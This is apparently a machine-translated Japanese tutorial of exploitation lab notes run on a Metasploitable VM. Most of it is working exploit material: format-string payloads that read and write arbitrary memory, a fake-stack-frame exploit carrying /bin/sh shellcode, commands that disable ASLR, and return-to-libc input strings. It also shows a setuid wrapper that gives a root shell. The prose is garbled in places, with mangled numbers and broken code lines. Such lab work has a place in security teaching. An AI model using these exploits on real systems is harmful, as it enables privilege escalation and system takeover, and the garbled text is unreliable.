このフォーマット文字列を制御すると、任意の内容を文字列に入れることができ、%sフォーマット制御文字はスタックから次のパラメータを読み出す.
ポインタによるメモリアドレスの読み取り
msfadmin@metasploitable:~$ ./fmtstr "AAAA %08x %08x %08x %08x %08x %08x %08x %s"  
Segmentation fault

メモリを読み込みます.
現在のプロセスセグメントに存在するメモリの有効なアドレスを指定するだけで、任意のメモリ位置のデータを読み取ることができる.
// shell 
#include 
#include 

int main(int argc, char *argv[]){
	char * addr;
	addr = getenv(argv[1]);
	printf("%s is located at %p
", argv[1], addr); } msfadmin@metasploitable:~$ ./getenv SHELL SHELL is located at 0xbffffeb1 //   shell env | more  msfadmin@metasploitable:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`" %08x %08x %08x %08x %08x %08x %s" Segmentation fault msfadmin@metasploitable:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`" %08x %08x %08x %08x %08x %s" ���� bffffe7f 00000000 b7fff668 bffffd84 b7fff800 (null) Canary at 0x080496cc = 0x00000000 msfadmin@metasploitable:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`" %08x %08x %08x %08x %08x %08x %s" Segmentation fault msfadmin@metasploitable:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`" %08x %08x %08x %08x %08x %08x %08x %s" ���� bffffe75 00000000 b7fff668 bffffd74 b7fff800 00000000 00000003 /bin/bash Canary at 0x080496cc = 0x00000000

直接パラメータアクセスの簡略化:
#include 

main() {
	printf("This is a %3$s.
", 1, 2, "test"); }
msfadmin@metasploitable:~$ ./dirpar 
This is a test.
msfadmin@metasploitable:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`"%8\$s"                                 
����/bin/bash
Canary at 0x080496cc = 0x00000000

フォーマット文字列エラーでprintfや他の印刷関数のフォーマットを指定し、1つのプログラムから任意のメモリを読み出すことができます.%xを使用して16進数値を印刷できます.
スタック内のパラメータの位置を検索.%s命令は、プログラムの指定位置の文字列値を見つけることができる.
任意のメモリを書き込みます.
msfadmin@metasploitable:~$ export SC=`cat sc`
msfadmin@metasploitable:~$ ./getenv SC
SC is located at 0xbfffff51

メモリに書き込み値を分割することができ、2つの上位バイトHOB:0 xbfff、2つの下位バイトLOB:0 xff 51、HOB脆弱性攻撃フォーマット文字列式の計算
HOB
LOB
コメント
≪インスタンス|Instance|emdw≫
[addr+2][addr]
[addr+2][addr]
2番目の16ビットは
 \xce\x96\x04\x08\xcc\x96\x04\x08
%.[HOB-8]x
%.[LOB-8]x
ポイントを使用して、整数が10進数であることを確認します.
0 xbfff-8の10進法は49143(bfff=49151-8)に等しいため、%.499143 x(ff 51=65361-8=65353)%.655353 xを表す
%[offset]$hn
%[offset+1]$hn
 
%8\$hn
%.[LOB-HOB]x
%.[HOB-LOB]x
ポイントを使用して、整数が10進数であることを確認します.
0 xff 51-0 xbfffの10進数=16210は%.16210 x
%[offset+1]$hn
%[offset]$hn
 
%9\$hn
0が多すぎます.切り取り:
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Canary at 0x080496cc = 0xbfffff51
msfadmin@metasploitable:~$ ./fmtstr `printf "\xce\x96\x04\x08\xcc\x96\x04\x08"`%.49143x%8\$hn%.16210x%9\$hn

変更プログラムの実行:
msfadmin@metasploitable:~$ nm ./fmtstr | head # EFL32 
080495c4 d _DYNAMIC
08049698 d _GLOBAL_OFFSET_TABLE_
0804858c R _IO_stdin_used
         w _Jv_RegisterClasses
080495b4 d __CTOR_END__
080495b0 d __CTOR_LIST__
080495bc d __DTOR_END__
080495b8 d __DTOR_LIST__
080485ac r __FRAME_END__
080495c0 d __JCR_END__
msfadmin@metasploitable:~$ objdump -s -j .comment ./fmtstr # 

./fmtstr:     file format elf32-i386

Contents of section .comment:
 0000 00474343 3a202847 4e552920 342e322e  .GCC: (GNU) 4.2.
 0010 34202855 62756e74 7520342e 322e342d  4 (Ubuntu 4.2.4-
 0020 31756275 6e747534 29000047 43433a20  1ubuntu4)..GCC: 
 0030 28474e55 2920342e 322e3420 28556275  (GNU) 4.2.4 (Ubu
 0040 6e747520 342e322e 342d3175 62756e74  ntu 4.2.4-1ubunt
 0050 75342900 00474343 3a202847 4e552920  u4)..GCC: (GNU) 
 0060 342e322e 34202855 62756e74 7520342e  4.2.4 (Ubuntu 4.
 0070 322e342d 31756275 6e747534 29000047  2.4-1ubuntu4)..G
 0080 43433a20 28474e55 2920342e 322e3420  CC: (GNU) 4.2.4 
 0090 28556275 6e747520 342e322e 342d3175  (Ubuntu 4.2.4-1u
 00a0 62756e74 75342900 00474343 3a202847  buntu4)..GCC: (G
 00b0 4e552920 342e322e 34202855 62756e74  NU) 4.2.4 (Ubunt
 00c0 7520342e 322e342d 31756275 6e747534  u 4.2.4-1ubuntu4
 00d0 29000047 43433a20 28474e55 2920342e  )..GCC: (GNU) 4.
 00e0 322e3420 28556275 6e747520 342e322e  2.4 (Ubuntu 4.2.
 00f0 342d3175 62756e74 75342900 00474343  4-1ubuntu4)..GCC
 0100 3a202847 4e552920 342e322e 34202855  : (GNU) 4.2.4 (U
 0110 62756e74 7520342e 322e342d 31756275  buntu 4.2.4-1ubu
 0120 6e747534 2900                        ntu4).          

CC++でfini_arrayバイトをバイナリで格納
#include 
#include 
#include 

static int canary = 0;
static void checkCanary(void) __attribute__ ((destructor));

int main(int argc, char *argv[]){
	char temp[2048];
	strcpy(temp, argv[1]);
	printf(temp);
	printf("
"); } void checkCanary(void){ printf("Canary at 0x%08x = 0x%08x
", &canary, canary); }
msfadmin@metasploitable:~$ gcc -z execstack -o strfmt strfmt.c 
msfadmin@metasploitable:~$ chmod u+s strfmt
msfadmin@metasploitable:~$ nm ./strfmt | grep -i fini
080484e0 T __libc_csu_fini
0804857c T _fini

メモリ保護メカニズム:
Libsafeはこれらの危険なlibc関数を書き換えることによって、境界と入力フィルタリングの実現を置き換え、スタックベースの攻撃の多くを除去した.
スタック保護を迂回する、ダミースタックフレーム技術を利用して、偽造のダミーアドレスにジャンプし、shellcodeを実現する.
#include 
#include 
#include 
#include 

#define VULN "./smallbuff"
#define SIZE 14

char shellcode[] =
	"\xff\xff\xff\xff\xff\xff\xff\xff"
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
	"\xeb\x1f\x5e\x89\x76\x80\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv){
	char p[SIZE];
	char *env[] = { shellcode, NULL };
	int *ptr, i, addr, addr_argc, addr_eip;

	addr = 0xbffffffa - strlen(shellcode) - strlen(VULN);
	addr += 4;
	addr_argc = addr;
	addr_eip = addr_argc + 4;
	fprintf(stderr, "[***] using fake argc address: %#010x
", addr_argc); fprintf(stderr, "[***] using shellcode address: %#010x
", addr_eip); shellcode[0] = (unsigned char)(addr_eip & 0x000000ff); shellcode[1] = (unsigned char)((addr_eip & 0x0000ff00)>>8); shellcode[2] = (unsigned char)((addr_eip & 0x00ff0000)>>16); shellcode[3] = (unsigned char)((addr_eip & 0xff000000)>>24); p[0] = "A"; p[1] = "A"; ptr = (int *)&p[2]; for (i = 2; i < SIZE; i += 4) *ptr++ = addr; *ptr = addr_eip; execle(VULN, "smallbuff", p, NULL, env); exit(1); }
msfadmin@metasploitable:~$ chmod u+s exploit3
msfadmin@metasploitable:~$ ./exploit3 
[***] using fake argc address: 0xbfffffb6
[***] using shellcode address: 0xbfffffba

gccはバージョン4.1から、SSPはGCCに統合され、デフォルトで使用されている.-fno-stack-protectorフラグを使用して無効にするには、-fstack-protector-allオプションを使用してすべての関数をスタック保護する.実行不可能スタックELFフラグGUN_STACK、-z execstackフラグを使用して無効にする.

カーネルパッチとスクリプト:


ASLRアドレス空間レイアウトのランダム化は、実行可能なイメージ\Brk()管理のスタック\ライブラリイメージ\Mmap()管理のスタック\ユーザスタック\カーネルスタック等をランダム化するものである.
ASLPのシステムはlibc関数アドレスを呼び出すことによってランダム化され、システムライブラリ関数に戻って脆弱性攻撃を実行することを防止するための高度な保護を実現した.
mmap()呼び出しはランダム化する実現され、system()や他の関数のアドレスを検索することはほとんど不可能となる.蛮力技術を用いてsystem()関数呼び出しを探すことは可能である.
Debian Ubuntuシステムはソフト接続echo 0>/proc/sys/kernel/randomize_va_space ASLP無効
Red Hatベースのシステムでecho 1>/proc/sys/kernel/exec-shield
echo 1>/proc/sys/kernel/exec-shield-randomize ASLP無効
Return to libcは、PaXやExecShieldのような実行不可能なスタックメモリ保護メカニズムを迂回します.

// 
#include 

int main(int argc, char *argv[]){
	char buffer[7];
	strcpy(buffer, argv[1]);
	return 0;
}
msfadmin@metasploitable:~$ gcc -o vuln2 vuln2.c 
msfadmin@metasploitable:~$ chmod u+s vuln2
msfadmin@metasploitable:~$ ls -l vuln2
-rwsr-xr-x 1 msfadmin msfadmin 6364 2018-09-06 04:12 vuln2
msfadmin@metasploitable:~$ gdb -q vuln2
(gdb) b main
Breakpoint 1 at 0x8048382
(gdb) r
Starting program: /home/msfadmin/vuln2 

Breakpoint 1, 0x08048382 in main ()
Current language:  auto; currently asm
(gdb) p system 
$1 = {} 0xb7ec2990 
(gdb) q

バイナリ・コードの関数と文字列の位置を取得するには、次のコードを使用します.
#include 
#include 
#include 
#include 
#include 

int step;
jmp_buf env;

void fault(){
	if (step < 0){
		longjmp(env, 1);
	}else{
		printf("Cat't find /bin/sh in libc, use env instead...
"); exit(1); } } int main(int argc, char **argv){ void *handle; int *sysaddr, *exitaddr; long shell; char examp[512]; char *args[3]; char *envs[1]; long *lp; handle = dlopen(NULL, RTLD_LOCAL); *(void **)(&sysaddr) = dlsym(handle, "system"); sysaddr += 4096; printf("system() found at %08x
", exitaddr); if (setjmp(env)){ step = 1; }else{ step = -1; } shell = (int)sysaddr; signal(SIGSEGV, fault); do while (memcmp((void *)shell, "/bin/sh", 8)) shell += step; while (!(shell & 0xff) || !(shell & 0xff00) || !(shell & 0xff0000) || !(shell & 0xff000000)); printf("\"/bin/sh\"found at %08x
", shell + 16384); }
#   system  root
msfadmin@metasploitable:~$ ./search 
system() found at 00000000
"/bin/sh"found at b7fb63ce
#     system   
msfadmin@metasploitable:~$ ./vuln2 `perl -e 'print "A"x19 ."\x00\x00\x00\x00","BBBB","\xce\x63\xfb\xb7"'`
Segmentation fault

ret 2 libcを使用して権限を保持するには、次の手順に従います.
#include 

int main(){
	setuid(0);
	setgid(0);
	system("/bin/sh");
}
#include 

int main(){
	execl("./wrapper", "./wrapper", 0);
}
msfadmin@metasploitable:~$ ls -l test_execl
-rwxr-xr-x 1 msfadmin msfadmin 6384 2018-09-06 04:30 test_execl
msfadmin@metasploitable:~$ sudo ./shellcode 
root@metasploitable:/home/msfadmin# chown root.root test_execl
root@metasploitable:/home/msfadmin# ls -l test_execl
-rwxr-xr-x 1 root root 6384 Sep  6 04:30 test_execl
root@metasploitable:/home/msfadmin# chmod +s test_execl
root@metasploitable:/home/msfadmin# ls -l test_execl
-rwsr-sr-x 1 root root 6384 Sep  6 04:30 test_execl
root@metasploitable:/home/msfadmin# exit
exit

msfadmin@metasploitable:~$ ./test_execl 
sh-3.2# id
uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
sh-3.2# exit
exit

printfのアドレスを使用してEIPを書き換えます.
msfadmin@metasploitable:~$ gdb -q vuln2
(gdb) b main
Breakpoint 1 at 0x8048382
(gdb) r
Starting program: /home/msfadmin/vuln2 

Breakpoint 1, 0x08048382 in main ()
Current language:  auto; currently asm
(gdb) p printf
$1 = {} 0xb7ed1330 
(gdb) p execl
$2 = {} 0xb7f20360 

msfadmin@metasploitable:~$ export FMTSTR="%3\$n"

msfadmin@metasploitable:~$ echo $FMTSTR
%3$n

msfadmin@metasploitable:~$ ./getenv FMTSTR
FMTSTR is located at 0xbffffef9

msfadmin@metasploitable:~$ echo $WRAPPER
./wrapper

msfadmin@metasploitable:~$ ./getenv WRAPPER
WRAPPER is located at 0xbffffef4

脆弱性バッファの場所を検索するには、次の手順に従います.
msfadmin@metasploitable:~$ gdb -q vuln2
(gdb) b main
Breakpoint 1 at 0x8048382
(gdb) r
Starting program: /home/msfadmin/vuln2 

Breakpoint 1, 0x08048382 in main ()
Current language:  auto; currently asm
(gdb) disass main
Dump of assembler code for function main:
0x08048374 
: lea 0x4(%esp),%ecx 0x08048378
: and $0xfffffff0,%esp 0x0804837b
: pushl -0x4(%ecx) 0x0804837e
: push %ebp 0x0804837f
: mov %esp,%ebp 0x08048381
: push %ecx 0x08048382
: sub $0x24,%esp 0x08048385
: mov 0x4(%ecx),%eax 0x08048388
: add $0x4,%eax 0x0804838b
: mov (%eax),%eax 0x0804838d
: mov %eax,0x4(%esp) 0x08048391
: lea -0xb(%ebp),%eax 0x08048394
: mov %eax,(%esp) 0x08048397
: call 0x80482d8 0x0804839c
: mov $0x0,%eax 0x080483a1
: add $0x24,%esp 0x080483a4
: pop %ecx 0x080483a5
: pop %ebp 0x080483a6
: lea -0x4(%ecx),%esp 0x080483a9
: ret End of assembler dump. (gdb) r `perl -e 'print "A"x64'`Quit The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/msfadmin/vuln2 `perl -e 'print "A"x64'`Quit # 4 60+4 = 64  Breakpoint 1, 0x08048382 in main () (gdb) p $esp $1 = (void *) 0xbffffc64 (gdb) q The program is running. Exit anyway? (y or n) y

脆弱性バッファの大きさがコンパイラで増加したパッド(0 x 24=36)を知って6番目のメモリのアドレスを算出:36+6*4=60=0 x 3 c
最後の位置に4バイト60+4=64バッファを入れる合計サイズは64
バッファの先頭が見つかれば、先に算出するオフセットに加算正しい目標位置が得られる.
0xbffffc64 + 0x24  =  0xbffffc88
./vuln2 `perl -e 'print "AAAA"x7 . "\x30\x13\xed\xb7" . "\x60\x03\xf2\xbf" . "\xf9\xfe\xff\xbf" . "\xf4\xfe\xff\xbf" . "\xf4\xfe\xff\xbf" . "\x88\xfc\xff\xbf"'`
Segmentation fault